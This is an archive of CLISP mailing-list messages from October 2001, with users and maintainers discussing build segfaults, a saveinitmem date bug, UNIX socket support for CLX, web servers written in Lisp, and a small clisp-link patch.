   nil)

(defun test (class-symbol)
   (let ((object (make-instance class-symbol)))
     (unless (typep object 'foo)
       (warn "Wrong Class ~a should be ~a" (class-of object) (find-class 
class-symbol)))))

(defun test-classes ()
   (test 'foo)
   (test 'foofoo))



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ramses@merceron:~/work$ clisp -q

[1]> (lisp-implementation-version)
"2.27 (released 2001-07-17) (built 3212300364) (memory 3212303009)"
[2]> (system::saveinitmem)
965396 ;
524288
[3]> 
ramses@merceron:~/work$ clisp -q -M lispinit.mem 

[1]> (lisp-implementation-version)

*** - Date incorrecte : 300364/0/364, 0h0m0s, heure NIL
1. Break [2]> 
[3]> 
ramses@merceron:~/work$

I suspect the bug as beeing in the C function savemem(), where a time
stamp is computed.

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> * In message <873d4ifilj.fsf@merceron.meteo.fr>
> * On the subject of "[clisp-list] saveinitmem bug"
> * Sent on 17 Oct 2001 16:26:32 +0200
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
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> "2.27 (released 2001-07-17) (built 3212300364) (memory 3212303009)"
> ...
> *** - Date incorrecte : 300364/0/364, 0h0m0s, heure NIL

this appears to have been fixed in the current sources.
could you please try CVS?

thanks!

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Dear mailing list:

This is (I suppose) a follow-up to Ben Collins' e-mails around
3/19/2000:

http://www.geocrawler.com/archives/3/1124/2000/3/0/3459057/

regarding segfaults of lisp.run - specifically during the make process.
This is still the case.
--
*** Segmentation fault
Register dump:

 PSR: ff990084 PC: 00013410 NPC: 00013414   Y: 00000000
 g0: 00000000 g1: 00000075  g2: 0023c188  g3: 19c38000
 g4: 00000000  g5: 00000000  g6: 00000000  g7: ffffff00
 o0: 00000000  o1: 00000000  o2: 00000000  o3: 00000000
 o4: 00000000  o5: 00000000  sp: efffeff0  o7: 00000000
 l0: 00000000  l1: 00000000  l2: 00000000  l3: 00000000
 l4: 00000000  l5: 00000000  l6: 00000000  l7: 00000000
 i0: fffffffc  i1: 00000000  i2: 00000000  i3: 00000000
 i4: 00000000  i5: 00000000  fp: effff058  i7: 00013464

 Old mask: 08000000

Backtrace:
/home/sc843/clisp/clisp/with-gcc-wall/spvw_garcol.d:404(gc_mark_stack)[0x13410]

/home/sc843/clisp/clisp/with-gcc-wall/spvw_garcol.d:431(gc_markphase)[0x13464]

/home/sc843/clisp/clisp/with-gcc-wall/spvw_garcol.d:1614(gar_col_normal)[0x13b04]

/home/sc843/clisp/clisp/with-gcc-wall/spvw_garcol.d:2389(do_gar_col_simple)[0x14868]

/home/sc843/clisp/clisp/with-gcc-wall/predtype.d:2840(with_gc_statistics)[0x94448]

/home/sc843/clisp/clisp/with-gcc-wall/spvw_garcol.d:2417(gar_col_simple)[0x14894]

/home/sc843/clisp/clisp/with-gcc-wall/spvw_allocate.d:236(make_space_gc_true)[0x14a0c]

/home/sc843/clisp/clisp/with-gcc-wall/spvw_typealloc.d:97(allocate_vector)[0x14ddc]

/home/sc843/clisp/clisp/with-gcc-wall/subrkw.d:4(init_subr_tab_2)[0x17718]

/home/sc843/clisp/clisp/with-gcc-wall/spvw.d:1406(initmem)[0x1901c]
/home/sc843/clisp/clisp/with-gcc-wall/spvw.d:2519(main)[0x1a530]
/lib/libc.so.6(__libc_start_main+0x14c)[0x700ce6a0]
??:0(_start)[0x12290]
--
The result of "grep cl_cv_address_ config.cache" for the Ultra I'm using
is
--
cl_cv_address_code=${cl_cv_address_code='0x00000000'}
cl_cv_address_malloc=${cl_cv_address_malloc='0x00000000'}
cl_cv_address_shlib=${cl_cv_address_shlib='0x70000000'}
cl_cv_address_stack=${cl_cv_address_stack='0xEF000000'}
--
The box is a Sun Ultra 10, with a TI UltraSparc IIi, and 128MB of RAM.
I'd love to help in any way I can.
Sincerely,
Sean Callanan



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Hi,

I tried compiling version 2.27 on MacOS 10.1, with the Apple Developer
Tools installed (gcc 2.95.2). It segfaults while building:

,----
| test -d bindings || mkdir bindings
| ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)"
| ;; Loading file defseq.lisp ...
| ;; Loading of file defseq.lisp is finished.
| ;; Loading file backquote.lisp ...
| ;; Loading of file backquote.lisp is finished.
| ;; Loading file defmacro.lisp ...
| ;; Loading of file defmacro.lisp is finished.
| ;; Loading file macros1.lisp ...
| ;; Loading of file macros1.lisp is finished.
| ;; Loading file macros2.lisp ...
| ;; Loading of file macros2.lisp is finished.
| ;; Loading file defs1.lisp ...
| ;; Loading of file defs1.lisp is finished.
| ;; Loading file places.lisp ...
| make: *** [interpreted.mem] Segmentation fault
`----

Running lisp.run under gdb (5.0) complains that the
sigsegv_handler_failed in .gdbinit is not defined.

Any hints on how to debug this?

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> * In message <3BCF1383.87709026@bard.edu>
> * On the subject of "[clisp-list] Sparc issues"
> * Sent on Thu, 18 Oct 2001 13:38:11 -0400
> * Honorable Sean Callanan <sc843@bard.edu> writes:
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> 3/19/2000:
> http://www.geocrawler.com/archives/3/1124/2000/3/0/3459057/
> 
> regarding segfaults of lisp.run - specifically during the make process.
> This is still the case.

we are painfully aware of this Linux/Sparc problem.

the problem appears to be with glibc2.2.
CLISP works just fine with glibc2.1 (all Linux platforms), but fails on
Sparc Linux with glibc2.2.  It does work fine on Sun Solaris and Linux
i386 glibc2.2.

If you can figure out the root of the problem...

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> * In message <wzilmi8stjb.fsf@laas.fr>
> * On the subject of "[clisp-list] build fails on MacOS 10.1"
> * Sent on Thu, 18 Oct 2001 20:16:24 +0200
> * Honorable Eric Marsden <emarsden@laas.fr> writes:
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> I tried compiling version 2.27 on MacOS 10.1, with the Apple Developer
> Tools installed (gcc 2.95.2). It segfaults while building:

I have seen this report, unfortunately.  On a more optimistic note,
others have succeeded (see cvs2.cons.org:/pub/lisp/clisp/binaries/2.27)

if you would like to pursue this issue, please get the CVS version,
set SAFETY=3 in the Makefile and try again.
Your help is appreciated.

> Running lisp.run under gdb (5.0) complains that the
> sigsegv_handler_failed in .gdbinit is not defined.

edit .gdbinit :-)

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Well, I'm the one who built the binary for 10.0.4, but I'm afraid I 
don't remember all of the hoops I needed to jump through to get things 
working.  The only thing I remember for sure is needing to remove all of 
the optimization flags that get passed to the compiler (-O, or -O2 I 
think).

I may be revisiting this soon though, since I've just upgraded to 10.1...

> Hi,
>
> I tried compiling version 2.27 on MacOS 10.1, with the Apple Developer
> Tools installed (gcc 2.95.2). It segfaults while building:
>
> ,----
> | test -d bindings || mkdir bindings
> | ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load 
> \"init.lisp\") (sys::%saveinitmem) (exit)"
> | ;; Loading file defseq.lisp ...
> | ;; Loading of file defseq.lisp is finished.
> | ;; Loading file backquote.lisp ...
> | ;; Loading of file backquote.lisp is finished.
> | ;; Loading file defmacro.lisp ...
> | ;; Loading of file defmacro.lisp is finished.
> | ;; Loading file macros1.lisp ...
> | ;; Loading of file macros1.lisp is finished.
> | ;; Loading file macros2.lisp ...
> | ;; Loading of file macros2.lisp is finished.
> | ;; Loading file defs1.lisp ...
> | ;; Loading of file defs1.lisp is finished.
> | ;; Loading file places.lisp ...
> | make: *** [interpreted.mem] Segmentation fault
> `----
>
> Running lisp.run under gdb (5.0) complains that the
> sigsegv_handler_failed in .gdbinit is not defined.
>
> Any hints on how to debug this?
>
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> * In message <5.1.0.14.0.20011015235822.009f6af0@pop3.terra.es>
> * On the subject of "[clisp-list] Clos problems when initialize-instance returning unusual objects"
> * Sent on Tue, 16 Oct 2001 00:14:44 +0200
> * Honorable Karsten <vs1100@terra.es> writes:
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> make-instance seem to return whatever initialize-instance returns,
> even if it is totally bogus

indeed, this is a bug, thanks for reporting it.
I just committed a fix to the CVS.

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The dirkey-support in clisp (2.27) seem to be missing some
#ifdef WIN32_NATIVEs.  Or am I doing something wrong with
configuration?  (I'm basically just giving --with-dir-key,
and when I try to compile, it just barfs out lots of messages
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> * In message <lz4rowxrhe.fsf@bzzzt.fix.no>
> * On the subject of "[clisp-list] LDAP-support in CLISP."
> * Sent on Fri, 19 Oct 2001 05:01:49 +0200
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> The dirkey-support in clisp (2.27) seem to be missing some
> #ifdef WIN32_NATIVEs.  Or am I doing something wrong with
> configuration?  (I'm basically just giving --with-dir-key,
> and when I try to compile, it just barfs out lots of messages
> about how HKEY isn't defined, etc.)

What is your platform?
LDAP is not implemented yet - win32 HKEY only.
Would you like to work on LDAP?

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Sam Steingold <sds@gnu.org> writes:

> What is your platform?

FreeBSD-4.4, i386.

> LDAP is not implemented yet - win32 HKEY only.

Ah, that explains why I couldn't find any references to any
ldap-functions. :)

> Would you like to work on LDAP?

I might.  I'm kind of new to Lisp, though, but I guess it's
mostly C, right?  (Also, I don't know anything about clisp's
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Howdy folks,

I'm wondering if anybody out there has tried porting AllegroServe to
CLISP?  Or is there a port floating around out there?

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On 19 October 2001, Johannes Groedem <johs@bzzzt.fix.no> wrote:
> Sam Steingold <sds@gnu.org> writes:
> > LDAP is not implemented yet - win32 HKEY only.
> 
> Ah, that explains why I couldn't find any references to any
> ldap-functions. :)
> 
> > Would you like to work on LDAP?
> 
> I might.  I'm kind of new to Lisp, though, but I guess it's
> mostly C, right?  (Also, I don't know anything about clisp's
> ffi, but that can all be learned, I guess.)

You might want to look at the LDAP code in some of the newer versions of
XEmacs.  They've got a very nice interface, and it links into OpenLDAP,
so you might be able to get a good idea of how to do things.

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>>>>> "Josh" == Josh Flowers <jflowers@codefab.com> writes:

    Josh> Well, I'm the one who built the binary for 10.0.4, but I'm afraid I
    Josh> don't remember all of the hoops I needed to jump through to get things
    Josh> working.  The only thing I remember for sure is needing to remove all
    Josh> of the optimization flags that get passed to the compiler (-O, or -O2
    Josh> I think).

I've built Clisp 2.27 for 10.0.4 too.  (Works just great!  And with
the Rootless XDarwin, and xemacs, it's just like my Sun and Linux box.
Now, if I could just swap the capslock and ctrl keys on the iMac
keyboard....)  I thought the only real problem was to raise the stack
ulimit before compiling?  Anyway, the method required is on this
mailing list somewhere.

    Josh> I may be revisiting this soon though, since I've just upgraded to 10.1...

Me too!

Ray


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I'd like to distribute a few small useful lisp
apps--not with the idea of making money, just to be
useful to some people.

FRANZ makes a good tool, but it's too expensive for my
helping-people plan.

I have harlequin 4.1 but i find it's UI stuff very
hard to use, and flaky.  Some basic things don't work.
 There's no documented way to update a listbox after
you've already added items to it, and they acted like
i was crazy because i wanted to do that.

So, i had the idea to compile TK into clisp, and
distribute that with some .fasl files.  This seems
do-able.  It's also more work than i'd like to do, but
what the heck.  

Before i go whole-hog integrating clisp with TK,
though, i must ask:

1) has anyone done this before?
2) is this something people would generally like to
use?
3) Is there some applicable standard for integrating
GUI stuff to lisp?

I could sort-of forsee this being integrated into
future distributions with a compile-time flag. 

If this will not be useful, i'll probably not bother. 

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On 19 Oct 01, Sam Steingold <sds@gnu.org> wrote:
> > * Honorable Erik Arneson <erik@aarg.net> writes:
> >
> > I'm wondering if anybody out there has tried porting AllegroServe to
> > CLISP?  Or is there a port floating around out there?
> 
> it is likely to be tricky since CLISP does not support MT.
> this does not mean this cannot be done though, just that it would be hard.

I remember a while back that Don Cohen posted an HTTP server for CLISP
here on the list.  Does anybody know if there's a place to download
it?

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Erik Arneson writes:
 > On 19 Oct 01, Sam Steingold <sds@gnu.org> wrote:
 > > > * Honorable Erik Arneson <erik@aarg.net> writes:
 > > >
 > > > I'm wondering if anybody out there has tried porting AllegroServe to
 > > > CLISP?  Or is there a port floating around out there?
 > > 
 > > it is likely to be tricky since CLISP does not support MT.
 > > this does not mean this cannot be done though, just that it would be hard.
 > 
 > I remember a while back that Don Cohen posted an HTTP server for CLISP
 > here on the list.  Does anybody know if there's a place to download
 > it?
If I posted it on clisp-list that must have been some time ago.
I did put it in clocc but I can't find it now.  I get an error now 
when I go to clocc and click on cvs browsing.

Note that this is not a port of AllegroServe, however.  In fact, it
probably has no relationship other than perhaps common ancestry in
an old allegro example server (probably no original code survives
in either case).  Oh, right, my copyright refers to theirs.

I do handle multiple connections at a time in some appropriate sense,
i.e., you don't have to wait a very long time for your 1K download
just cause someone else started a 10M download right before you.  
On the other hand, there are things that would work in a real MP 
environment that don't work here, e.g., you could put a sleep in the 
response to one request and others would continue to progress.

BTW, Isn't there another web server (or several) in clocc?
In fact, I thought Sam had one.  I'm sure Erann Gat had one,
but probably not in clocc.  Not to mention AllegroServe and cl-http
(which also does not run in clisp as far as I know).

I believe I've made a number of improvements in mine since I last put
it on clocc, but I can't tell what they are without the old source to
compare.  Of course, if it's not available, who cares about the
differences?  Instead, tell me where to put the current version.



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On Fri, 19 Oct 2001 13:04:28 -0700 (PDT), David Hanley wrote:

> So, i had the idea to compile TK into clisp, and
> distribute that with some .fasl files.  This seems
[...]
> Before i go whole-hog integrating clisp with TK,
> though, i must ask:
> 
> 1) has anyone done this before?

Sort of. If you are willing to separately ship the Lisp application and a
standard Tcl/Tk distribution if the user's system doesn't come with it, you
may get some idea from the `lisp2wish' page at CLiki:

  http://ww.telent.net/cliki/


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On 19 Oct 01, Don Cohen <don-sourceforge@isis.cs3-inc.com> wrote:
> I believe I've made a number of improvements in mine since I last put
> it on clocc, but I can't tell what they are without the old source to
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> differences?  Instead, tell me where to put the current version.

Well, now you've got me eagerly chomping at the bit.  :)

If you need FTP or web space or something, I could provide it for you,
but why don't you just slap a catchy name on it and post it to
Sourceforge?

Something like that would be well worth developing!

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On Fri, 19 Oct 2001 23:34:53 -0700, Don Cohen wrote:

> BTW, Isn't there another web server (or several) in clocc?
> In fact, I thought Sam had one.  I'm sure Erann Gat had one,
> but probably not in clocc.  Not to mention AllegroServe and cl-http

See the Web section of CLiki. It list a few servers, including Erann's.


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> 
> you would probably want to make that a CLISP module.
> see <http://clisp.cons.org/impnotes.html#modules>

True.  I was still very early in the playing around
process.  

> > 3) Is there some applicable standard for
> integrating GUI stuff to
> > lisp?
> 
> CLIM?

I thought about that.  It might come to that
eventually, but CLIM is really pretty huge.  For
earlier iterations, at least, i'd like to stay away
from that level of requirements.

> I would be happy to include the module with the main
> distribution.

Ok.  The pressure's on! :) 

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Sam Steingold writes:
 > start with http://sf.net/clocc

That gave me a page where the most prominent text is "PAGE NOT FOUND"
but it does include a search box where, typing clocc leads me to:
 http://sourceforge.net/projects/clocc/
Scroll down a few pages, click on browse cvs then clocc, src, donc
to get all files below, which I've just updated.

It turns out that http.lisp is essentially unchanged (just my
address), whereas server.lisp on which it relies has a few important
changes: the one about timesharing IO streams and the one that avoids
absurd delays when your dns service is not working.  In order to run
my http server you want those two plus a mime types file (I put a
copy there of one from apache that works fine).

While I was at it I also downloaded a more recent version of my 
smtp server, which implements my approach to spam elimination.

Since Paolo Amoroso pointed out http://ww.telent.net/cliki/Web I
looked there and noticed that one of the servers there , IMHO,
includes session management.  I have code for that too, though not in
any of the files above.  Perhaps I should post a sample server that
does include that.  In fact, I just wrote a very simple one that's
meant for remote administration - you log in and then execute unix
commands; also has an interface for reading/editing/writing files.
(Of course, I run it through stunnel!)


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Date: Sun Oct 21 15:27:13 2001
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--=-=-=

Hi,

I just thought I'd mention that clisp-link breaks when the LIBS-variable
contains commas.  (In my case, it contained "-Wl,E" (passes -export-dynamic
to the linker), which causes sed to barf out an invalid option error,
or something.  This is on FreeBSD-4.4, by the way, with BSD Sed, not GNU
sed.  If GNU sed is installed, it will most likely be called "gsed".

Anyway, I've attached a simple patch that seems to work for me.


--=-=-=
Content-Type: text/x-patch
Content-Disposition: attachment; filename=clisp-link.patch
Content-Description: clisp-link.patch

--- clisp-link.orig	Sun Oct 21 22:16:08 2001
+++ clisp-link	Mon Oct 22 00:10:09 2001
@@ -278,6 +278,7 @@
     done
     verbose "$destinationdir"/lisp.run -B "$installbasedir" -M "$lispinitdir"/lispinit.mem -norc -q -i $to_load -x "(saveinitmem \"$destinationdir/lispinit.mem\")"
     # Generate new makevars
+    LIBS=$(echo $LIBS | sed s/','/'\\,'/g)
     sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/makevars > "$destinationdir"/makevars
     # Done.
     trap '' 1 2 15
@@ -416,6 +417,7 @@
         verbose "$destinationdir"/lisp.run -B "$installbasedir" -M "$sourcedir"/lispinit.mem -norc -q -i ${LOAD} -x "(saveinitmem \"$destinationdir/lispinit.mem\")"
       fi
       # Generate new makevars
+      LIBS=$(echo $LIBS | sed s/','/'\\,'/g)
       sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/makevars > "$destinationdir"/makevars
     fi
     # Done.

--=-=-=


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Hi everybody,

I've got a long-running network app -- actually an IRC bot -- that I
like to reprogram on the fly via special read commands.  I am
currently catching `stream-error' via `handler-case' so I can
gracefully recover from socket errors, but I need to be able to
differentiate those stream errors from the stream errors caused by
`read'.  Is there an easy way to do this?

I was thinking I could always wrap the `read' itself in its own
`handler-case', but if there's a special error that read triggers, I'd
much rather keep everything in one clause.

Any ideas?  Where can I get a list of errors and what triggers them?

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Sam Steingold writew:
> this appears to have been fixed in the current sources.
> could you please try CVS?

Sorry, same problem with current CVS:

Original lispinitmem:
(lisp-implementation-version)
"2.27.2 (released 2001-10-05) (built 3212500507) (memory 3212500696)"

After saveinitmem:
(lisp-implementation-version)

*** - Date incorrecte : 500507/0/507, 0h0m0s, heure NIL

Notice that I use a french locale, if that matters.

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> * In message <87zo6nbkw3.fsf@merceron.meteo.fr>
> * On the subject of "[clisp-list] Re: saveinitmem bug"
> * Sent on 19 Oct 2001 19:27:24 +0200
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
>
> Sam Steingold writew:
> > this appears to have been fixed in the current sources.
> > could you please try CVS?
> 
> Sorry, same problem with current CVS:
> 
> Original lispinitmem:
> (lisp-implementation-version)
> "2.27.2 (released 2001-10-05) (built 3212500507) (memory 3212500696)"
> 
> After saveinitmem:
> (lisp-implementation-version)
> 
> *** - Date incorrecte : 500507/0/507, 0h0m0s, heure NIL
> 
> Notice that I use a french locale, if that matters.

could you please try the C locale?
please describe your system (OS,HW,C compiler, libc version &c).

$ clisp -q -norc -x '(saveinitmem "foo")'
1029880 ;
524288
$ clisp -q -norc -B build -M foo.mem -x '(lisp-implementation-version)'
"2.27.2 (released 2001-10-05) (built 3212404253) (memory 3212833923)"


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Sam Steingold <sds@gnu.org> writes:

> > 
> > Sorry, same problem with current CVS:
> > 
> > Original lispinitmem:
> > (lisp-implementation-version)
> > "2.27.2 (released 2001-10-05) (built 3212500507) (memory 3212500696)"
> > 
> > After saveinitmem:
> > (lisp-implementation-version)
> > 
> > *** - Date incorrecte : 500507/0/507, 0h0m0s, heure NIL
> > 
> > Notice that I use a french locale, if that matters.
> 
> could you please try the C locale?
> please describe your system (OS,HW,C compiler, libc version &c).
> 
> $ clisp -q -norc -x '(saveinitmem "foo")'
> 1029880 ;
> 524288
> $ clisp -q -norc -B build -M foo.mem -x '(lisp-implementation-version)'
> "2.27.2 (released 2001-10-05) (built 3212404253) (memory 3212833923)"
> 
> 

ramses@merceron:~/src/Lisp/clisp-2.28beta/clisp/build$ echo $LANG
fr_FR@euro
ramses@merceron:~/src/Lisp/clisp-2.28beta/clisp/build$ uname -a
Linux merceron 2.4.5 #1 Wed Jul 18 13:34:14 CEST 2001 i686 unknown
ramses@merceron:~/src/Lisp/clisp-2.28beta/clisp/build$ dpkg --status libc6
Package: libc6
Status: install ok installed
Priority: required
Section: base
Installed-Size: 12636
Maintainer: Ben Collins <bcollins@debian.org>
Source: glibc
Version: 2.2.4-3
Replaces: ldso (<= 1.9.11-9), timezone, timezones, gconv-modules, libtricks, libc6-bin, netkit-rpc, netbase (<< 4.0)
Provides: glibc-2.2.4-3
Suggests: locales, glibc-doc
Conflicts: strace (<< 4.0-0), libnss-db (<< 2.2-3), timezone, timezones, gconv-modules, libtricks, libc6-doc, libc5 (<< 5.4.33-7), libpthread0 (<< 0.7-10), libc6-bin, libwcsmbs, apt (<< 0.3.0), libglib1.2 (<< 1.2.1-2), libc6-i586, libc6-i686, libc6-v9, netkit-rpc
Conffiles:
 /etc/default/devpts fc857c5ac5fb84d80720ed4d1c624f6e
Description: GNU C Library: Shared libraries and Timezone data
 Contains the standard libraries that are used by nearly all programs on
 the system. This package includes shared versions of the standard C library
 and the standard math library, as well as many others.
 Timezone data is also included.

ramses@merceron:~/src/Lisp/clisp-2.28beta/clisp/build$ dpkg --status gcc
Package: gcc
Status: install ok installed
Priority: standard
Section: devel
Installed-Size: 52
Maintainer: Debian GCC maintainers <debian-gcc@lists.debian.org>
Source: gcc-defaults (0.13)
Version: 2:2.95.4-6
Provides: c-compiler
Depends: cpp (>= 2:2.95.4-6), gcc-2.95, cpp-2.95
Recommends: libc-dev
Suggests: make, manpages-dev, autoconf, automake, libtool, flex, bison, gdb
Description: The GNU C compiler.
 The default GNU C compiler for Debian GNU/Linux systems.
 .
 This is currently version 2.95.4 for this architecture (i386).


and with LANG=C, same problem with message:

*** - incorrect date: 500507.0.507, 0h0m0s, time zone NIL

To obtain proper localization, I compiled clisp-2.28 with LANG=fr_FR@euro.

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> * In message <lz6698iq8z.fsf@bzzzt.fix.no>
> * On the subject of "[clisp-list] clisp-link bug"
> * Sent on Mon, 22 Oct 2001 00:26:36 +0200
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> I just thought I'd mention that clisp-link breaks when the LIBS-variable
> contains commas

thanks for the patch.


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Hi,

I'm trying to port clocc-port unix sockets to clisp and I don't find how
to open a non-internet socket with clisp. In concrete I would like to
open /tmp/.X11-unix/X0 so CLX can connect to the X server. (Recent
debian distributions don't listen anymore on port 6000 for security
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Please tell me I've missed an obvious function :-)

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> * In message <87bsiynw7l.fsf@merceron.meteo.fr>
> * On the subject of "Re: [clisp-list] Re: saveinitmem bug"
> * Sent on 23 Oct 2001 18:43:26 +0200
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
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> and with LANG=C, same problem with message:
> *** - incorrect date: 500507.0.507, 0h0m0s, time zone NIL

I just fixed this in the CVS.  thanks for reporting the bug
the reproducible case is:

$ ./lisp.run -B . -q -norc -M lispinit.mem -x '(lisp-implementation-version)(saveinitmem "foo")'
"2.27.2 (released 2001-10-05) (built 3212404253) (memory 3212845079)"
1030112 ;
524288
$ ./lisp.run -B . -q -norc -M foo.mem --version
GNU CLISP 
*** - incorrect date: 404253.0.253, 0h0m0s, time zone NIL

> To obtain proper localization, I compiled clisp-2.28 with LANG=fr_FR@euro.

what does this mean?

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> * In message <20011023205357.A20148@localhost>
> * On the subject of "[clisp-list] How to open a UNIX socket with clisp?"
> * Sent on Tue, 23 Oct 2001 20:53:57 +0200
> * Honorable Peter Van Eynde <pvaneynd@debian.org> writes:
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> Please tell me I've missed an obvious function :-)

does (open :direction :io) work?

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On 23 October 2001, Sam Steingold <sds@gnu.org> wrote:
> > * In message <20011023205357.A20148@localhost>
> > * On the subject of "[clisp-list] How to open a UNIX socket with clisp?"
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> >
> > Please tell me I've missed an obvious function :-)
> 
> does (open :direction :io) work?

That works just fine for FIFOs, but I'm not sure that will work very
well for UNIX domain sockets.  Normally in C you use similar socket
calls with a socket type of PF_UNIX instead of PF_INET.

See 'man 7 unix' for more about these kinds of sockets.  It doesn't look
like CLISP supports these yet?

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> * In message <15317.54468.304605.328357@sif.musiciansfriend.com>
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> On 23 October 2001, Sam Steingold <sds@gnu.org> wrote:
> > > * In message <20011023205357.A20148@localhost>
> > > * On the subject of "[clisp-list] How to open a UNIX socket with clisp?"
> > > * Sent on Tue, 23 Oct 2001 20:53:57 +0200
> > > * Honorable Peter Van Eynde <pvaneynd@debian.org> writes:
> > >
> > > Please tell me I've missed an obvious function :-)

(sys::make-socket-stream host display)
has been added specifically for mit-clx.
when host is a length 0 string, a unix socket pointing to a standard X
socket is returned.

> > does (open :direction :io) work?
>
> That works just fine for FIFOs, but I'm not sure that will work very
> well for UNIX domain sockets.  Normally in C you use similar socket
> calls with a socket type of PF_UNIX instead of PF_INET.

open can be made to work with them, right?

how do I create a unix socket from the shell?
(mknod(1) on solaris does not mention this).
how do I determine that a file "/foo/bar" is actually a unix socket?
(fstat(3) and mknod(2) on solaris do not mention unix sockets).

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On 23 October 2001, Sam Steingold <sds@gnu.org> wrote:
> > * Honorable Erik Arneson <erik@aarg.net> writes:
> > On 23 October 2001, Sam Steingold <sds@gnu.org> wrote:
> > > does (open :direction :io) work?
> >
> > That works just fine for FIFOs, but I'm not sure that will work very
> > well for UNIX domain sockets.  Normally in C you use similar socket
> > calls with a socket type of PF_UNIX instead of PF_INET.
> 
> open can be made to work with them, right?

I don't think open works with any sort of socket.  PF_UNIX sockets are
treated very much like PF_INET sockets wherever possible.  In other
words, you have to bind them and use the normal libc socket interface.

> how do I create a unix socket from the shell?
> (mknod(1) on solaris does not mention this).
> how do I determine that a file "/foo/bar" is actually a unix socket?
> (fstat(3) and mknod(2) on solaris do not mention unix sockets).

You can't create a UNIX socket from the shell, as far as I know.  You
can't interface with them normally via 'cat' and such, either, like you
can with a FIFO.  They're quite a pain in the butt, huh?  :)

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> * In message <15317.57001.778557.456361@sif.musiciansfriend.com>
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> * Sent on Tue, 23 Oct 2001 14:18:33 -0700
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> On 23 October 2001, Sam Steingold <sds@gnu.org> wrote:
> > 
> > open can be made to work with them, right?
> 
> I don't think open works with any sort of socket.  PF_UNIX sockets are
> treated very much like PF_INET sockets wherever possible.  In other
> words, you have to bind them and use the normal libc socket interface.

I meant CL OPEN, not UNIX fopen(2).

> > how do I create a unix socket from the shell?
> > (mknod(1) on solaris does not mention this).
> > how do I determine that a file "/foo/bar" is actually a unix socket?
> > (fstat(3) and mknod(2) on solaris do not mention unix sockets).
> 
> You can't create a UNIX socket from the shell, as far as I know.  You
> can't interface with them normally via 'cat' and such, either, like
> you can with a FIFO.  They're quite a pain in the butt, huh?  :)

ouch...

at any rate, unless someone tells me how do I know whether "/foo/bar" is
a socket, there is nothing I could do.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <15317.57001.778557.456361@sif.musiciansfriend.com>
    >> You can't create a UNIX socket from the shell, as far as I know.  You
    >> can't interface with them normally via 'cat' and such, either, like
    >> you can with a FIFO.  They're quite a pain in the butt, huh?  :)

    Sam> ouch...

    Sam> at any rate, unless someone tells me how do I know whether "/foo/bar" is
    Sam> a socket, there is nothing I could do.

On Solaris, there's a S_ISSOCK (see stat(5)).  I assume this is how ls
knows that /tmp/.X11-unix/X0 is a socket and prints a = after it.

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> * In message <4nn12i81xf.fsf@rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] How to open a UNIX socket with clisp?"
> * Sent on 23 Oct 2001 17:46:36 -0400
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>     Sam> at any rate, unless someone tells me how do I know whether "/foo/bar" is
>     Sam> a socket, there is nothing I could do.
> 
> On Solaris, there's a S_ISSOCK (see stat(5)).  I assume this is how ls
> knows that /tmp/.X11-unix/X0 is a socket and prints a = after it.

nope, not on Solaris 2.5.1.



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On 23 October 2001, Raymond Toy <toy@rtp.ericsson.se> wrote:
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>     Sam> at any rate, unless someone tells me how do I know whether "/foo/bar" is
>     Sam> a socket, there is nothing I could do.
> 
> On Solaris, there's a S_ISSOCK (see stat(5)).  I assume this is how ls
> knows that /tmp/.X11-unix/X0 is a socket and prints a = after it.

Linux has this as well.

I see this on our Solaris boxen, too.  I wonder what version they added
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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <4nn12i81xf.fsf@rtp.ericsson.se>
    >> * On the subject of "Re: [clisp-list] How to open a UNIX socket with clisp?"
    >> * Sent on 23 Oct 2001 17:46:36 -0400
    >> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
    >> 
    >> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    Sam> at any rate, unless someone tells me how do I know whether "/foo/bar" is
    Sam> a socket, there is nothing I could do.
    >> 
    >> On Solaris, there's a S_ISSOCK (see stat(5)).  I assume this is how ls
    >> knows that /tmp/.X11-unix/X0 is a socket and prints a = after it.

    Sam> nope, not on Solaris 2.5.1.

Ok, I'm on 2.7.  Anyway, here's the definition from sys/stat.h:

#define S_ISSOCK(mode)  (((mode)&0xF000) == 0xc000)

Ray


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On Tue, Oct 23, 2001 at 05:06:57PM -0400, Sam Steingold wrote:
> > > > Please tell me I've missed an obvious function :-)
> 
> (sys::make-socket-stream host display)
> has been added specifically for mit-clx.
> when host is a length 0 string, a unix socket pointing to a standard X
> socket is returned.

Thanks. That sort-of solves my problem. Except for the :: part :-).

Can I use this as a 'supported' interface?

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> * In message <20011024234958.A18778@localhost>
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> * Sent on Wed, 24 Oct 2001 23:49:58 +0200
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> > 
> > (sys::make-socket-stream host display)
> > has been added specifically for mit-clx.
> > when host is a length 0 string, a unix socket pointing to a standard X
> > socket is returned.
> 
> Thanks. That sort-of solves my problem. Except for the :: part :-).
> 
> Can I use this as a 'supported' interface?

yes - CLX is its raison d'etre.

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Hi..

Can one have a list composed of  arrays and lists?

I'm having a problem.. It seems to be related to a list that contains 3-D
arrays and lists.
My list seems to change without a reason...

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On Fri, 26 Oct 2001, Justice, Randy -CONT(DYN) wrote:

> Can one have a list composed of  arrays and lists?

You can have a heterogeneous list composed of any mixture of Lisp
data types.

> I'm having a problem.. It seems to be related to a list that contains 3-D
> arrays and lists.
> My list seems to change without a reason...

Without seeing your code, I can offer you the following hypothesis:
perhaps you are destructively manipulating the list. Destructive
manipulation of lists and other objects can cause a change in one
object to mysteriously propagate to another object. That happens
because in Lisp, objects often share parts of their structure with other
objects in order to save space and time. A change to the substructure
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For instance if you create a list and bind it to symbol x like this:

    (setf x (list 'b 'c 'd))

